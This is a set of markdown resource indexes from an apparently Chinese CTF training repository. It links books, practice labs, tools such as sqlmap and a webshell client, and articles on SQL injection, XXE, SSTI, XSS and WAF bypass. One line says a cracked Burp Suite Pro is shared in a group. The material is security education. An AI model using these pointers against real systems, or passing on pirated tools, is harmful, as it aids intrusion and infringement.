[angr](https://github.com/angr/angr) 39 | 40 | ### Binary Format Analysis 41 | - [CFF Explorer](http://www.ntcore.com/exsuite.php) 42 | - [PEiD](https://tuts4you.com/download.php?view.398) 43 | 44 | 45 | ## Articles 46 | ### Obfuscator 47 | - movfuscator 48 | - [Source Code](https://github.com/xoreaxeaxeax/movfuscator) 49 | - [Introduction](/资源索引/files/CTF/Jeopardy/Re/recon2015-14-christopher-domas-The-movfuscator.pdf) 50 | - [Demovfuscator](https://github.com/kirschju/demovfuscator) 用于恢复程序跳转流程,无法恢复其余指令 51 | - [侧信道攻击1](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) 适用于逐位比对的情况 52 | - [侧信道攻击2](http://www.cnblogs.com/wangaohui/p/5706816.html) 53 | - 可尝试利用Angr符号执行进行侧信道攻击 -------------------------------------------------------------------------------- /资源索引/CTF/Jeopardy/Web.md: -------------------------------------------------------------------------------- 1 | # Web 2 | 3 | >学习路线:[Web安全学习路线](http://momomoxiaoxi.com/2016/10/22/Websecurity/) 4 | 5 | 6 | ## Books 7 | 8 | * 黑客攻防技术宝典-web实战篇 9 | * 白帽子讲web安全 10 | * SQL注入攻击与防御 11 | * [腾讯实例教程] 那些年我们一起学XSS 12 | 13 | ## Practices 14 | 15 | * SQLi_Lab(php+mysql注入实验) [github地址](https://github.com/Audi-1/sqli-labs) 16 | * DVWA(综合渗透测试靶场) [github地址](https://github.com/ethicalhack3r/DVWA) 17 | * xss在线练习: 18 | * [xss-quiz](http://xss-quiz.int21h.jp/) 19 | * [alert1-to-win](https://alf.nu/alert1) 20 | * [prompt-to-win](http://prompt.ml/0) 21 | * [十大渗透测试演练系统](http://www.freebuf.com/sectool/4708.html) 22 | * [实验吧](http://www.shiyanbar.com/) 23 | * [i春秋](https://www.ichunqiu.com/) 24 | * [bugku](http://www.bugku.com/) 25 | * [南京邮电大学网络攻防训练平台](http://ctf.nuptsast.com/) 26 | * [JarvisOJ](https://www.jarvisoj.com/) 27 | * [SniperOJ](http://www.sniperoj.com/) 28 | 29 | ## Tools 30 | 31 | * burpsuite pro(群文件中有破解版) 32 | * AWVS(扫描器) 33 | * 御剑(爆目录) 34 | * 中国菜刀(CKnife java版) [github地址](https://github.com/Chora10/Cknife) 35 | * sqlmap [github地址](https://github.com/sqlmapproject/sqlmap) 36 | * firefox hackbar插件 37 | * 源码泄露检测工具 [github地址](https://github.com/WangYihang/SourceLeakHacker) 38 | 39 | ## Articles 40 | * php 41 | * [从弱类型利用以及对象注入到SQL注入](http://bobao.360.cn/learning/detail/3486.html) 42 | * [php弱类型安全问题总结](https://blog.spoock.com/2016/06/25/weakly-typed-security/) 43 | * [php里的随机数](http://5alt.me/2017/06/php%E9%87%8C%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%95%B0/) 44 | * 注入 45 | * sql注入 46 | * [HackMe-SQL-Injection-Challenges](https://github.com/breakthenet/HackMe-SQL-Injection-Challenges) 47 | * [MSSQL DBA权限获取WEBSHELL的过程](http://fuping.site/2017/05/16/MSSQL-DBA-Permission-GET-WEBSHELL/) 48 | * [sqlmap试用总结](http://www.zerokeeper.com/web-security/sqlmap-usage-summary.html) 49 | * [Linux MySQL Udf提权](http://www.91ri.org/16540.html) 50 | * [使用burp macros和sqlmap绕过csrf防护进行sql注入](http://bobao.360.cn/learning/detail/3557.html) 51 | * [MySQL 注入攻击与防御](http://bobao.360.cn/learning/detail/3758.html) 52 | * [SQL注入防御与绕过的几种姿势](http://bobao.360.cn/learning/detail/3801.html) 53 | * [MySQL False注入及技巧总结](http://bobao.360.cn/learning/detail/3804.html) 54 | * [MSSQL 注入攻击与防御](http://bobao.360.cn/learning/detail/3807.html) 55 | * XML External Entity Injection 56 | * [XXE漏洞分析](http://www.4o4notfound.org/index.php/archives/29/) 57 | * [XML实体注入漏洞攻与防](http://www.hackersb.cn/hacker/211.html) 58 | * [XXE (XML External Entity Injection) 漏洞实践](http://www.mottoin.com/101806.html) 59 | * [如何挖掘Uber网站的XXE注入漏洞](http://www.mottoin.com/86853.html) 60 | * [XXE被提起时我们会想到什么](http://www.mottoin.com/88085.html) 61 | * [XXE漏洞的简单理解和测试](http://www.mottoin.com/92794.html) 62 | * [XXE漏洞攻防之我见](http://bobao.360.cn/learning/detail/3841.html) 63 | * [XXE漏洞利用的一些技巧](http://www.91ri.org/17052.html) 64 | * JSONP注入 65 | * [JSONP注入解析](http://www.freebuf.com/articles/web/126347.html) 66 | * [JSONP安全攻防技术](http://blog.knownsec.com/2015/03/jsonp_security_technic/) 67 | * [一次关于JSONP的小实验与总结](http://www.cnblogs.com/vimsk/archive/2013/01/29/2877888.html) 68 | * [利用JSONP跨域获取信息](https://xianzhi.aliyun.com/forum/read/1571.html) 69 | * [关于跨域和jsonp的一些理解(新手向)](https://segmentfault.com/a/1190000009577990) 70 | * SSTI(服务端模板注入) 71 | * [乱弹Flask模板注入](http://www.freebuf.com/articles/web/88768.html) 72 | * [服务端模板注入攻击 (SSTI)之浅析](http://www.freebuf.com/articles/web/88768.html) 73 | * [Exploring SSTI in Flask/Jinja2](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/) 74 | * [Exploring SSTI in Flask/Jinja2, Part II](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) 75 | * [Flask Jinja2开发中遇到的的服务端注入问题研究](http://www.freebuf.com/articles/web/136118.html) 76 | * [FlaskJinja2 开发中遇到的的服务端注入问题研究 II](http://www.freebuf.com/articles/web/136180.html) 77 | * XSS 78 | * [浅谈跨站脚本攻击与防御](https://thief.one/2017/05/31/1/) 79 | * [漫谈同源策略攻防](http://bobao.360.cn/learning/detail/3848.html) 80 | * [XSS小记](https://xianzhi.aliyun.com/forum/read/196.html?fpage=7) 81 | * [XSSBypass Cookbook](https://xianzhi.aliyun.com/forum/read/536.html?fpage=7) 82 | * [[Web安全]当代 Web 的 JSON 劫持技巧](https://xianzhi.aliyun.com/forum/read/462.html?fpage=10) 83 | * [Content Security Policy 入门教程](https://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.49.ZP8rXN&articleid=518) 84 | * [不常见的xss利用探索](http://docs.ioin.in/writeup/wps2015.org/_2016_06_27__E4_B8_8D_E5_B8_B8_E8_A7_81_E7_9A_84xss_E5_88_A9_E7_94_A8_E6_8E_A2_E7_B4_A2_/index.html) 85 | * [CRLF Injection and Bypass Tencent WAF](https://zhchbin.github.io/2016/01/31/CRLF-Injection-and-Bypass-WAF/) 86 | * [chrome是怎么过滤XSS的呐](https://www.zhihu.com/question/20941818/answer/180842222?utm_source=qq&utm_medium=social) 87 | * [XSS Cheat Sheet](https://xianzhi.aliyun.com/forum/read/1704.html) 88 | * [CRLF Injection and Bypass Tencent WAF](https://xianzhi.aliyun.com/forum/read/1704.html) 89 | -------------------------------------------------------------------------------- /资源索引/README.md: -------------------------------------------------------------------------------- 1 | # Know it then Hack it(V1.0) 2 | 3 | ## All 4 | 5 | ### Sites 6 | 7 | - **[Hack-with-Github:Awesome-Hacking](https://github.com/Hack-with-Github/Awesome-Hacking)** 8 | 9 | ### Practices 10 | 11 | - [vulhub](https://github.com/vulhub/vulhub) 12 | 13 | ## CTF 14 | 15 | - Guide 16 | - [CTF-wiki](https://ctf-wiki.github.io/ctf-wiki/#/introduction) 17 | - [CTF Field Guide](https://trailofbits.github.io/ctf/) 18 | 19 | - Jeopardy(技能赛) 20 | - [Misc](CTF/Jeopardy/Misc.md) 21 | - [Web](CTF/Jeopardy/Web.md) 22 | - [Android](CTF/Jeopardy/Android.md) 23 | - [Reverse](CTF/Jeopardy/Re.md) 24 | - [Crypto](CTF/Jeopardy/Crypto.md) 25 | - [Pwn](CTF/Jeopardy/Pwn.md) 26 | 27 | - 攻防赛(AWD) 28 | - [AWD](CTF/AWD) 29 | 30 | ## Else 31 | 32 | ### Blog 33 | 34 | TODO 35 | 36 | ### Github 37 | 38 | - [SecWiki](https://github.com/SecWiki) 39 | - [Scanners-Box](https://github.com/We5ter/Scanners-Box) 40 | 41 | ### WeChat 42 | 43 | - [CTFer的魔法棒](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=22497) -------------------------------------------------------------------------------- /资源索引/files/CTF/Jeopardy/Re/crackme.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/资源索引/files/CTF/Jeopardy/Re/crackme.rar -------------------------------------------------------------------------------- /资源索引/files/CTF/Jeopardy/Re/recon2015-14-christopher-domas-The-movfuscator.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/资源索引/files/CTF/Jeopardy/Re/recon2015-14-christopher-domas-The-movfuscator.pdf -------------------------------------------------------------------------------- /资源索引/files/CTF/Jeopardy/Web/腾讯XSS实例教程.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/资源索引/files/CTF/Jeopardy/Web/腾讯XSS实例教程.pdf --------------------------------------------------------------------------------